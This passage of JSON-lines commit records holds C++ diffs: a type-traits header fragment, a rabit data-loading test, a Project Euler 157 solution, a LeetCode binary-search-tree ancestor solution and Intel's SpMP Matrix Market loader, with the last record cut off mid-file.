type;\n\t};\n\ttemplate < typename _Tp > struct add_reference<_Tp&> {\n\t\ttypedef _Tp& type;\n\t};\n\ttemplate < typename _Tp > struct add_reference<_Tp&&> {\n\t\ttypedef _Tp&& type;\n\t};\n\ttemplate < typename _Tp > struct add_reference<_Tp*> {\n\t\ttypedef _Tp* type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference {\n\t\ttypedef const _Tp& type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<_Tp&> {\n\t\ttypedef const _Tp& type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<const _Tp&> {\n\t\ttypedef const _Tp& type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<_Tp&&> {\n\t\ttypedef const _Tp&& type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<const _Tp&&> {\n\t\ttypedef const _Tp&& type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<_Tp*> {\n\t\ttypedef _Tp* type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<const _Tp*> {\n\t\ttypedef const _Tp* type;\n\t};\n\ttemplate<bool factor,typename Tx,typename Ty>struct replace_if;\n\ttemplate<typename Tx,typename Ty>struct replace_if<true,Tx,Ty> {\n\t\tusing result=Ty;\n\t};\n\ttemplate<typename Tx,typename Ty>struct replace_if<false,Tx,Ty> {\n\t\tusing result=Tx;\n\t};\n\ttemplate<typename From,typename To>\n\tclass castable final {\n\t\ttemplate<typename To1>static void test(To1);\n\t\ttemplate<typename From1,typename To1>static constexpr bool helper(...)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\ttemplate<typename From1,typename To1,typename=decltype(test<To1>(std::declval<From1>()))>\n\t\tstatic constexpr bool helper(int)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\tpublic:\n\t\tstatic constexpr bool value=helper<From,To>(0);\n\t};\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <rabit.h>\n#include \"..\/io\/io.h\"\n\nint main(int argc, char *argv[]) {\n  using namespace rabit::io;\n  if (argc < 2) {\n    \/\/ intialize rabit engine\n    rabit::Init(argc, argv);\n    if (rabit::GetRank() == 0) {\n      rabit::TrackerPrintf(\"Usage: <data_in> param=val\\n\");\n    }\n    rabit::Finalize();\n    return 0;\n  }\n  rabit::Init(argc, argv);\n  int n = 0;\n  InputSplit *in = CreateInputSplit(argv[1],\n                                    rabit::GetRank(),\n                                    rabit::GetWorldSize());\n  std::string line;\n  while (in->NextLine(&line)) {\n    if (n % 100 == 0) {\n      rabit::TrackerPrintf(\"[%d] finishes loading %d lines\\n\",\n                           rabit::GetRank(), n);\n    }\n    n++;\n  }\n  delete in;\n  rabit::TrackerPrintf(\"[%d] finishes loading %d lines\\n\",\n                       rabit::GetRank(), n);\n  rabit::Finalize();\n  return 0;\n}\n<commit_msg>add debug<commit_after>#include <rabit.h>\n#include \"..\/io\/io.h\"\n\nint main(int argc, char *argv[]) {\n  using namespace rabit::io;\n  if (argc < 2) {\n    \/\/ intialize rabit engine\n    rabit::Init(argc, argv);\n    if (rabit::GetRank() == 0) {\n      rabit::TrackerPrintf(\"Usage: <data_in> param=val\\n\");\n    }\n    rabit::Finalize();\n    return 0;\n  }\n  rabit::Init(argc, argv);\n  int n = 0;\n  InputSplit *in = CreateInputSplit(argv[1],\n                                    rabit::GetRank(),\n                                    rabit::GetWorldSize());\n  std::string line;\n  while (in->NextLine(&line)) {\n    if (n % 100 == 0) {\n      rabit::TrackerPrintf(\"[%d] finishes loading %d lines\\n\",\n                           rabit::GetRank(), n);\n    }\n    n++;\n  }\n  delete in;\n  rabit::TrackerPrintf(\"[%d] ALL finishes loading %d lines\\n\",\n                       rabit::GetRank(), n);\n  rabit::Finalize();\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Immediately one may notice that (a, b) will repeat across different values\n    of n. For example,\n\n        1 \/ 1 + 1 \/ 1 = 20 \/ 10 = 200 \/ 100 = 2000 \/ 1000 = ...\n\n    It turns out that each contributes as a distinct solution and we need solutions\n    in (a, b, p, n).\n\n    Firstly, we manipulate the given equation to get\n\n        1 \/ a + 1 \/ b = p \/ 10^n\n        1 \/ a = (pb - 10^n) \/ (10^n * b)        1\/b = (pa - 10^n) \/ (10^n * a)\n        (pb - 10^n)a = 10^n * b                 (pb - 10^n)b = 10^n * a\n\n    Multiplying both together, we have\n\n        (pb - 10^n)(pb - 10^n)ab = 10^{2n} * ab\n        (pb - 10^n)(pb - 10^n) = 10^{2n}\n\n    Let pb - 10^n = x and pb - 10^n = y so that x <= y and xy = 10^{2n}. In\n    principle since n <= 9, then 10^{2n} <= 10^18 = (2^18)(5^18) so the number\n    of (x, y) pairs is at most 19 * 19 = 361.\n\n    Next,\n\n        pa = 10^n + x   pb = 10^n + y\n        pa \/ pb = (10^n + x) \/ (10^n + y)\n        a \/ b = (10^n + x) \/ (10^n + y)\n\n    For each pair of (x, y), let d = GCD(10^n + x, 10^n + y). Then indeed we have\n    solutions (a, b, p, n) can be generated by a positive integer k:\n\n        (a, b, p, n) = ((k \/ d)(10^n + x), (k \/ d)(10^n + y), d \/ k, n)\n\n    We need k | d for p to be a positive integer. Notice that we only need\n    to search up to k^2 <= d, because for every k <= d we have two solutions,\n    one characterized by k and the other by d \/ k >= k.\n\n    We collect solutions in (a, b, p, n) across (x, y) across n in an std::set\n    to remove any duplicates. Probably the only time this happens is when\n    k * k = d, for which both k, d \/ k characterizes the same solution.\n*\/\n\n#include <iostream>\n#include <utility>\n#include <vector>\n#include <set>\n#include \"number_util.h\"\n#include \"prime_util.h\"\n\ntypedef unsigned long long ull;\n\nstd::vector<ull> primes = { 2 };\n\nstd::vector<std::pair<ull, ull>> get_factors(int n)\n{\n    std::vector<std::pair<ull, ull>> pairs;\n\n    \/\/ std::pow returns a double with mantissa 53 bits effective which I don't\n    \/\/ think has enough precision for 10^{2n} <= 10^{18}.\n    ull p = util::mpz_to<ull>(util::pow(10, 2 * n));\n\n    for (ull e2 = 0, p2 = 1; e2 <= 2 * n; e2++, p2 *= 2)\n        for (ull e5 = 0, p5 = 1; p2 * p5 <= p \/ (p2 * p5); e5++, p5 *= 5)\n            pairs.emplace_back(p2 * p5, p \/ (p2 * p5));\n\n    return pairs;\n}\n\nvoid get_solutions(int n, std::set<std::vector<ull>> &solutions)\n{\n    for (std::pair<ull, ull> &factor : get_factors(n))\n    {\n        ull f = util::mpz_to<ull>(util::pow(10, n)) + factor.first;\n        ull g = util::mpz_to<ull>(util::pow(10, n)) + factor.second;\n        ull d = util::gcd(f, g);\n        ull step_a = f \/ d, step_b = g \/ d;\n\n        ull k = 0;\n        while ((++k) * k <= d)\n        {\n            if (d % k == 0)\n            {\n                solutions.emplace(std::vector<ull>{ k * step_a, k * step_b, d \/ k, ull(n) });\n                solutions.emplace(std::vector<ull>{ (d \/ k) * step_a, (d \/ k) * step_b, k, ull(n) });\n            }\n        }\n    }\n}\n\nint main()\n{\n    std::set<std::vector<ull>> solutions;\n\n    for (int n = 1; n <= 9; n++)\n        get_solutions(n, solutions);\n\n    std::cout << solutions.size();\n}\n<commit_msg>Fixed 157 explanation.<commit_after>\/*\n    Immediately one may notice that (a, b) will repeat across different values\n    of n. For example,\n\n        1 \/ 1 + 1 \/ 1 = 20 \/ 10 = 200 \/ 100 = 2000 \/ 1000 = ...\n\n    It turns out that each contributes as a distinct solution and we need solutions\n    in (a, b, p, n).\n\n    Firstly, we manipulate the given equation to get\n\n        1 \/ a + 1 \/ b = p \/ 10^n\n        1 \/ a = (pb - 10^n) \/ (10^n * b)        1\/b = (pa - 10^n) \/ (10^n * a)\n        (pb - 10^n)a = 10^n * b                 (pb - 10^n)b = 10^n * a\n\n    Multiplying both together, we have\n\n        (pb - 10^n)(pb - 10^n)ab = 10^{2n} * ab\n        (pb - 10^n)(pb - 10^n) = 10^{2n}\n\n    Let pb - 10^n = x and pb - 10^n = y so that x <= y and xy = 10^{2n}. In\n    principle since n <= 9, then 10^{2n} <= 10^18 = (2^18)(5^18) so the number\n    of (x, y) pairs is at most 19 * 19 = 361.\n\n    Next,\n\n        pa = 10^n + x   pb = 10^n + y\n        pa \/ pb = (10^n + x) \/ (10^n + y)\n        a \/ b = (10^n + x) \/ (10^n + y)\n\n    For each pair of (x, y), let d = GCD(10^n + x, 10^n + y). Then indeed we have\n    solutions (a, b, p, n) can be generated by a positive integer k:\n\n        (a, b, p, n) = ((k \/ d)(10^n + x), (k \/ d)(10^n + y), d \/ k, n)\n\n    We need k | d for p to be a positive integer. Notice that we only need\n    to search up to k^2 <= d, because for every k^2 <= d we have two solutions,\n    one characterized by k and the other by d \/ k >= k.\n\n    We collect solutions in (a, b, p, n) across (x, y) across n in an std::set\n    to remove any duplicates. Probably the only time this happens is when\n    k * k = d, for which both k, d \/ k characterizes the same solution.\n*\/\n\n#include <iostream>\n#include <utility>\n#include <vector>\n#include <set>\n#include \"number_util.h\"\n#include \"prime_util.h\"\n\ntypedef unsigned long long ull;\n\nstd::vector<ull> primes = { 2 };\n\nstd::vector<std::pair<ull, ull>> get_factors(int n)\n{\n    std::vector<std::pair<ull, ull>> pairs;\n\n    \/\/ std::pow returns a double with mantissa 53 bits effective which I don't\n    \/\/ think has enough precision for 10^{2n} <= 10^{18}.\n    ull p = util::mpz_to<ull>(util::pow(10, 2 * n));\n\n    for (ull e2 = 0, p2 = 1; e2 <= 2 * n; e2++, p2 *= 2)\n        for (ull e5 = 0, p5 = 1; p2 * p5 <= p \/ (p2 * p5); e5++, p5 *= 5)\n            pairs.emplace_back(p2 * p5, p \/ (p2 * p5));\n\n    return pairs;\n}\n\nvoid get_solutions(int n, std::set<std::vector<ull>> &solutions)\n{\n    for (std::pair<ull, ull> &factor : get_factors(n))\n    {\n        ull f = util::mpz_to<ull>(util::pow(10, n)) + factor.first;\n        ull g = util::mpz_to<ull>(util::pow(10, n)) + factor.second;\n        ull d = util::gcd(f, g);\n        ull step_a = f \/ d, step_b = g \/ d;\n\n        ull k = 0;\n        while ((++k) * k <= d)\n        {\n            if (d % k == 0)\n            {\n                solutions.emplace(std::vector<ull>{ k * step_a, k * step_b, d \/ k, ull(n) });\n                solutions.emplace(std::vector<ull>{ (d \/ k) * step_a, (d \/ k) * step_b, k, ull(n) });\n            }\n        }\n    }\n}\n\nint main()\n{\n    std::set<std::vector<ull>> solutions;\n\n    for (int n = 1; n <= 9; n++)\n        get_solutions(n, solutions);\n\n    std::cout << solutions.size();\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n * Written by Nitin Kumar Maharana\n * nitin.maharana@gmail.com\n *\/\n\n\/**\n * Definition for a binary tree node.\n * struct TreeNode {\n *     int val;\n *     TreeNode *left;\n *     TreeNode *right;\n *     TreeNode(int x) : val(x), left(NULL), right(NULL) {}\n * };\n *\/\n\n\/\/Iterative Solution.\nclass Solution {\npublic:\n    TreeNode* lowestCommonAncestor(TreeNode* root, TreeNode* p, TreeNode* q) {\n        int mn, mx;\n        \n        mn = min(p->val, q->val);\n        mx = p->val + q->val - mn;\n        \n        while(root)\n        {\n            if(root->val < mn)\n                root = root->right;\n            else if(root->val > mx)\n                root = root->left;\n            else\n                return root;\n        }\n        \n        return root;\n    }\n};\n\n\/\/Recursive Solution.\nclass Solution {\npublic:\n    TreeNode* lowestCommonAncestor(TreeNode* root, TreeNode* p, TreeNode* q) {\n        if(!root)\n            return root;\n            \n        if((root->val >= p->val && root->val <= q->val) || (root->val >= q->val && root->val <= p->val))\n            return root;\n            \n        if(root->val < p->val || root->val < q->val)\n            return lowestCommonAncestor(root->right, p, q);\n        else\n            return lowestCommonAncestor(root->left, p, q);\n    }\n};\n<commit_msg>235. Lowest Common Ancestor of a Binary Search Tree - Optimized<commit_after>\/*\n * Written by Nitin Kumar Maharana\n * nitin.maharana@gmail.com\n *\/\n\n\/**\n * Definition for a binary tree node.\n * struct TreeNode {\n *     int val;\n *     TreeNode *left;\n *     TreeNode *right;\n *     TreeNode(int x) : val(x), left(NULL), right(NULL) {}\n * };\n *\/\n\n\/\/Iterative Solution.\nclass Solution {\npublic:\n    TreeNode* lowestCommonAncestor(TreeNode* root, TreeNode* p, TreeNode* q) {\n        int mn, mx;\n        \n        mn = min(p->val, q->val);\n        mx = max(p->val, q->val);\n        \n        while(root)\n        {\n            if(root->val < mn)\n                root = root->right;\n            else if(root->val > mx)\n                root = root->left;\n            else\n                return root;\n        }\n    }\n};\n\n\/\/Recursive Solution.\nclass Solution {\npublic:\n    TreeNode* lowestCommonAncestor(TreeNode* root, TreeNode* p, TreeNode* q) {\n        if(root == p || root == q)\n            return root;\n            \n        if(root->val < p->val && root->val < q->val)\n            return lowestCommonAncestor(root->right, p, q);\n        \n        if(root->val > p->val && root->val > q->val)\n            return lowestCommonAncestor(root->left, p, q);\n        \n        return root;\n    }\n};\n<|endoftext|>"}
{"text":"<commit_before>\/**\nCopyright (c) 2015, Intel Corporation. All rights reserved.\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and\/or other materials provided with the distribution.\n    * Neither the name of the Intel Corporation nor the\n      names of its contributors may be used to endorse or promote products\n      derived from this software without specific prior written permission.\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL INTEL CORPORATION BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <cstring>\n#include <algorithm>\n\n#include \"COO.hpp\"\n#include \"mm_io.h\"\n\nusing namespace std;\n\nnamespace SpMP\n{\n\nCOO::COO() : rowidx(NULL), colidx(NULL), values(NULL), isSymmetric(false)\n{\n}\n\nCOO::~COO()\n{\n  dealloc();\n}\n\nvoid COO::dealloc()\n{\n  FREE(rowidx);\n  FREE(colidx);\n  FREE(values);\n}\n\nvoid COO::storeMatrixMarket(const char *fileName) const\n{\n  FILE *fp = fopen(fileName, \"w\");\n  assert(fp);\n\n  MM_typecode matcode;\n  mm_initialize_typecode(&matcode);\n  mm_set_matrix(&matcode);\n  mm_set_sparse(&matcode);\n  mm_set_real(&matcode);\n\n  int err = mm_write_mtx_crd(\n    (char *)fileName, m, n, nnz, rowidx, colidx, values, matcode);\n  if (err) {\n    fprintf(\n      stderr,\n      \"Fail to write matrix to %s (error code = %d)\\n\", fileName, err);\n    exit(-1);\n  }\n}\n\ntemplate<class T>\nstatic void qsort(int *idx, T *w, int left, int right)\n{\n  if (left >= right) return;\n\n  swap(idx[left], idx[left + (right - left)\/2]);\n  swap(w[left], w[left + (right - left)\/2]);\n\n  int last = left;\n  for (int i = left+1; i <= right; i++) {\n    if (idx[i] < idx[left]) {\n       ++last;\n       swap(idx[last], idx[i]);\n       swap(w[last], w[i]);\n    }\n  }\n\n  swap(idx[left], idx[last]);\n  swap(w[left], w[last]);\n\n  qsort(idx, w, left, last-1);\n  qsort(idx, w, last+1, right);\n}\n\n\/* converts COO format to CSR format, not in-place,\n   if SORT_IN_ROW is defined, each row is sorted in column index.\nassume COO is one-based index *\/\n\ntemplate<class T>\nvoid coo2csr(int n, int nz, const T *a, const int *i_idx, const int *j_idx,\n       T *csr_a, int *col_idx, int *row_start, bool sort)\n{\n  int i, l;\n\n#pragma omp parallel for\n  for (i=0; i<=n; i++) row_start[i] = 0;\n\n  \/* determine row lengths *\/\n  for (i=0; i<nz; i++) row_start[i_idx[i]]++;\n\n\n  for (i=0; i<n; i++) row_start[i+1] += row_start[i];\n\n\n  \/* go through the structure  once more. Fill in output matrix. *\/\n  for (l=0; l<nz; l++){\n    i = row_start[i_idx[l] - 1];\n    csr_a[i] = a[l];\n    col_idx[i] = j_idx[l] - 1;\n    row_start[i_idx[l] - 1]++;\n  }\n\n  \/* shift back row_start *\/\n  for (i=n; i>0; i--) row_start[i] = row_start[i-1];\n\n  row_start[0] = 0;\n\n  if (sort) {\n#pragma omp parallel for\n    for (i=0; i<n; i++){\n      qsort (col_idx, csr_a, row_start[i], row_start[i+1] - 1);\n      assert(is_sorted(col_idx + row_start[i], col_idx + row_start[i+1]));\n    }\n  }\n}\n\nvoid dcoo2csr(int n, int nz, const double *a, const int *i_idx, const int *j_idx,\n       double *csr_a, int *col_idx, int *row_start, bool sort\/*=true*\/)\n{\n  coo2csr(n, nz, a, i_idx, j_idx, csr_a, col_idx, row_start, sort);\n}\n\nvoid dcoo2csr(const COO *Acoo, CSR *Acrs, bool createSeparateDiagData \/*= true*\/)\n{\n  Acrs->n=Acoo->n;\n  Acrs->m=Acoo->m;\n\n  dcoo2csr(\n    Acrs->n, Acoo->nnz,\n    Acoo->values, Acoo->rowidx, Acoo->colidx,\n    Acrs->values, Acrs->colidx, Acrs->rowptr);\n\n\/\/  int job[8];\n\/\/  job[0]=2; \/\/ COO->CSR and column indicies are sorted\n\/\/  job[1]=0; \/\/ zero-based indexing for CSR\n\/\/  job[2]=1; \/\/ one-based indexing for COO\n\/\/  job[4]=Acoo->nnz;\n\/\/  job[5]=0;\n\/\/\n\/\/  int info;\n\/\/  mkl_dcsrcoo(&job[0], &(Acrs->n), Acrs->values, Acrs->colidx, Acrs->rowptr,\n\/\/              &(Acrs->nnz), Acoo->values, Acoo->rowidx, Acoo->colidx, &info);\n\n  if (Acrs->diagptr) {\n#pragma omp parallel for\n    for (int i = 0; i < Acrs->m; ++i) {\n      for (int j = Acrs->rowptr[i]; j < Acrs->rowptr[i + 1]; ++j) {\n        if (Acrs->colidx[j] == i) {\n          Acrs->diagptr[i] = j;\n\n          if (createSeparateDiagData) {\n            Acrs->idiag[i] = 1\/Acrs->values[j];\n            Acrs->diag[i] = Acrs->values[j];\n          }\n        }\n      }\n    }\n  }\n}\n\nvoid loadMatrixMarket (const char *file, COO &coo, bool force_symmetric \/*=false*\/, int pad \/*=1*\/)\n{\n    FILE *fp=fopen(file, \"r\");\n    if (NULL == fp) {\n      fprintf(stderr, \"Failed to open file %s\\n\", file);\n      exit(-1);\n    }\n    MM_typecode matcode;\n    int m;\n    int n;\n    int nnz;\n    int x;\n    int y;\n    double value;\n    size_t count;\n    int pattern;\n    int i;\n    int *colidx;\n    int *rowidx;\n    double *values;\n    int lines;\n\n    if (mm_read_banner (fp, &matcode) != 0)\n    {\n        printf (\"Error: could not process Matrix Market banner.\\n\");\n        exit(1);\n    }\n\n    if ( !mm_is_valid (matcode) &&\n         (mm_is_array (matcode) ||\n          mm_is_dense (matcode)) )\n    {\n        printf (\"Error: only support sparse and real matrices.\\n\");\n        exit(1);\n    }\n\n    if (mm_read_mtx_crd_size(fp, &m, &n, &nnz) !=0)\n    {\n        printf (\"Error: could not read matrix size.\\n\");\n        exit(1);\n\n    }\n    int origM = m, origN = n;\n    m = (m + pad - 1)\/pad*pad;\n    n = (n + pad - 1)\/pad*pad;\n    assert(m==n);\n\n    if (force_symmetric || mm_is_symmetric (matcode) == 1)\n    {\n        coo.isSymmetric = true;\n        count = 2L*nnz;\n    }\n    else\n    {\n        count = nnz;\n    }\n\n    coo.m = m;\n    coo.n = n;\n    size_t extraCount = min(m, n) - min(origM, origN);\n    values = MALLOC(double, count + extraCount);\n    colidx = MALLOC(int, count + extraCount);\n    rowidx = MALLOC(int, count + extraCount);\n    assert (values != NULL);\n    assert (colidx != NULL);\n    assert (rowidx != NULL);\n\n    int *colidx_temp, *rowcnt;\n    if (coo.isSymmetric) {\n      colidx_temp = MALLOC(int, count);\n      rowcnt = MALLOC(int, m);\n      memset(rowcnt, 0, sizeof(int)*m);\n      assert(colidx_temp != NULL);\n      assert(rowcnt != NULL);\n    }\n\n    count = 0;\n    lines = 0;\n    pattern = mm_is_pattern (matcode);\n    int x_o=1, y_o;\n    double imag;\n    while (mm_read_mtx_crd_entry (fp, &x, &y, &value, &imag, matcode) == 0)\n    {\n        rowidx[count] = x;\n        colidx[count] = y;\n\n        if (x > origM || y > origN)\n        {\n            printf (\"Error: (%d %d) coordinate is out of range.\\n\", x, y);\n            exit(1);\n        }\n        if (pattern == 1)\n        {\n            values[count] = 1;\/\/RAND01();\n        }\n        else\n        {\n            values[count] = (double)value;\n        }\n\n        count++;\n        lines++;\n        if (coo.isSymmetric) rowcnt[x]++;\n    }\n    for (int i = min(origM, origN); i < min(m, n); ++i) {\n      rowidx[count] = i + 1;\n      colidx[count] = i + 1;\n      values[count] = 1;\n      ++count;\n    }\n\n    assert (lines == nnz);\n\n  if (coo.isSymmetric) {\n    \/\/ add transposed elements only if it doesn't exist\n    size_t real_count = count;\n    \/\/ preix-sum\n    for (int i = 0; i < m; ++i) {\n      rowcnt[i + 1] += rowcnt[i];\n    }\n    for (int i = 0; i < count; ++i) {\n      int j = rowcnt[rowidx[i] - 1];\n      colidx_temp[j] = colidx[i];\n      rowcnt[rowidx[i] - 1]++;\n    }\n    for (int i = m; i > 0; --i) {\n      rowcnt[i] = rowcnt[i - 1];\n    }\n    rowcnt[0] = 0;\n\n#pragma omp parallel for\n    for (int i = 0; i < m; ++i) {\n      sort(colidx_temp + rowcnt[i], colidx_temp + rowcnt[i + 1]);\n    }\n\n    for (int i = 0; i < count; ++i) {\n      int x = rowidx[i], y = colidx[i];\n      if (x != y) {\n        if (!binary_search(\n            colidx_temp + rowcnt[y - 1], colidx_temp + rowcnt[y], x)) {\n          rowidx[real_count] = y;\n          colidx[real_count] = x;\n          values[real_count] = values[i];\n          ++real_count;\n        }\n      }\n    }\n    count = real_count;\n  }\n  nnz = count;\n\n    \/\/printf(\"count=%d trc=%d\\n\", count, trc+m);\n    nnz = count;\n\n    if (coo.isSymmetric) {\n      FREE(rowcnt);\n      FREE(colidx_temp);\n    }\n\n    coo.nnz = nnz;\n    coo.dealloc();\n    coo.values = values;\n    coo.colidx = colidx;\n    coo.rowidx = rowidx;\n\n    fclose(fp);\n}\n\n} \/\/ namespace SpMP\n<commit_msg>populate diagptr only if it's allocated<commit_after>\/**\nCopyright (c) 2015, Intel Corporation. All rights reserved.\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and\/or other materials provided with the distribution.\n    * Neither the name of the Intel Corporation nor the\n      names of its contributors may be used to endorse or promote products\n      derived from this software without specific prior written permission.\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL INTEL CORPORATION BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <cstring>\n#include <algorithm>\n\n#include \"COO.hpp\"\n#include \"mm_io.h\"\n\nusing namespace std;\n\nnamespace SpMP\n{\n\nCOO::COO() : rowidx(NULL), colidx(NULL), values(NULL), isSymmetric(false)\n{\n}\n\nCOO::~COO()\n{\n  dealloc();\n}\n\nvoid COO::dealloc()\n{\n  FREE(rowidx);\n  FREE(colidx);\n  FREE(values);\n}\n\nvoid COO::storeMatrixMarket(const char *fileName) const\n{\n  FILE *fp = fopen(fileName, \"w\");\n  assert(fp);\n\n  MM_typecode matcode;\n  mm_initialize_typecode(&matcode);\n  mm_set_matrix(&matcode);\n  mm_set_sparse(&matcode);\n  mm_set_real(&matcode);\n\n  int err = mm_write_mtx_crd(\n    (char *)fileName, m, n, nnz, rowidx, colidx, values, matcode);\n  if (err) {\n    fprintf(\n      stderr,\n      \"Fail to write matrix to %s (error code = %d)\\n\", fileName, err);\n    exit(-1);\n  }\n}\n\ntemplate<class T>\nstatic void qsort(int *idx, T *w, int left, int right)\n{\n  if (left >= right) return;\n\n  swap(idx[left], idx[left + (right - left)\/2]);\n  swap(w[left], w[left + (right - left)\/2]);\n\n  int last = left;\n  for (int i = left+1; i <= right; i++) {\n    if (idx[i] < idx[left]) {\n       ++last;\n       swap(idx[last], idx[i]);\n       swap(w[last], w[i]);\n    }\n  }\n\n  swap(idx[left], idx[last]);\n  swap(w[left], w[last]);\n\n  qsort(idx, w, left, last-1);\n  qsort(idx, w, last+1, right);\n}\n\n\/* converts COO format to CSR format, not in-place,\n   if SORT_IN_ROW is defined, each row is sorted in column index.\nassume COO is one-based index *\/\n\ntemplate<class T>\nvoid coo2csr(int n, int nz, const T *a, const int *i_idx, const int *j_idx,\n       T *csr_a, int *col_idx, int *row_start, bool sort)\n{\n  int i, l;\n\n#pragma omp parallel for\n  for (i=0; i<=n; i++) row_start[i] = 0;\n\n  \/* determine row lengths *\/\n  for (i=0; i<nz; i++) row_start[i_idx[i]]++;\n\n\n  for (i=0; i<n; i++) row_start[i+1] += row_start[i];\n\n\n  \/* go through the structure  once more. Fill in output matrix. *\/\n  for (l=0; l<nz; l++){\n    i = row_start[i_idx[l] - 1];\n    csr_a[i] = a[l];\n    col_idx[i] = j_idx[l] - 1;\n    row_start[i_idx[l] - 1]++;\n  }\n\n  \/* shift back row_start *\/\n  for (i=n; i>0; i--) row_start[i] = row_start[i-1];\n\n  row_start[0] = 0;\n\n  if (sort) {\n#pragma omp parallel for\n    for (i=0; i<n; i++){\n      qsort (col_idx, csr_a, row_start[i], row_start[i+1] - 1);\n      assert(is_sorted(col_idx + row_start[i], col_idx + row_start[i+1]));\n    }\n  }\n}\n\nvoid dcoo2csr(int n, int nz, const double *a, const int *i_idx, const int *j_idx,\n       double *csr_a, int *col_idx, int *row_start, bool sort\/*=true*\/)\n{\n  coo2csr(n, nz, a, i_idx, j_idx, csr_a, col_idx, row_start, sort);\n}\n\nvoid dcoo2csr(const COO *Acoo, CSR *Acrs, bool createSeparateDiagData \/*= true*\/)\n{\n  Acrs->n=Acoo->n;\n  Acrs->m=Acoo->m;\n\n  dcoo2csr(\n    Acrs->n, Acoo->nnz,\n    Acoo->values, Acoo->rowidx, Acoo->colidx,\n    Acrs->values, Acrs->colidx, Acrs->rowptr);\n\n  if (Acrs->diagptr) {\n    if (!Acrs->idiag || !Acrs->diag) {\n      createSeparateDiagData = false;\n    }\n#pragma omp parallel for\n    for (int i = 0; i < Acrs->m; ++i) {\n      for (int j = Acrs->rowptr[i]; j < Acrs->rowptr[i + 1]; ++j) {\n        if (Acrs->colidx[j] == i) {\n          Acrs->diagptr[i] = j;\n\n          if (createSeparateDiagData) {\n            Acrs->idiag[i] = 1\/Acrs->values[j];\n            Acrs->diag[i] = Acrs->values[j];\n          }\n        }\n      }\n    }\n  }\n}\n\nvoid loadMatrixMarket (const char *file, COO &coo, bool force_symmetric \/*=false*\/, int pad \/*=1*\/)\n{\n    FILE *fp=fopen(file, \"r\");\n    if (NULL == fp) {\n      fprintf(stderr, \"Failed to open file %s\\n\", file);\n      exit(-1);\n    }\n    MM_typecode matcode;\n    int m;\n    int n;\n    int nnz;\n    int x;\n    int y;\n    double value;\n    size_t count;\n    int pattern;\n    int i;\n    int *colidx;\n    int *rowidx;\n    double *values;\n    int lines;\n\n    if (mm_read_banner (fp, &matcode) != 0)\n    {\n        printf (\"Error: could not process Matrix Market banner.\\n\");\n        exit(1);\n    }\n\n    if ( !mm_is_valid (matcode) &&\n         (mm_is_array (matcode) ||\n          mm_is_dense (matcode)) )\n    {\n        printf (\"Error: only support sparse and real matrices.\\n\");\n        exit(1);\n    }\n\n    if (mm_read_mtx_crd_size(fp, &m, &n, &nnz) !=0)\n    {\n        printf (\"Error: could not read matrix size.\\n\");\n        exit(1);\n\n    }\n    int origM = m, origN = n;\n    m = (m + pad - 1)\/pad*pad;\n    n = (n + pad - 1)\/pad*pad;\n    assert(m==n);\n\n    if (force_symmetric || mm_is_symmetric (matcode) == 1)\n    {\n        coo.isSymmetric = true;\n        count = 2L*nnz;\n    }\n    else\n    {\n        count = nnz;\n    }\n\n    coo.m = m;\n    coo.n = n;\n    size_t extraCount = min(m, n) - min(origM, origN);\n    values = MALLOC(double, count + extraCount);\n    colidx = MALLOC(int, count + extraCount);\n    rowidx = MALLOC(int, count + extraCount);\n    assert (values != NULL);\n    assert (colidx != NULL);\n    assert 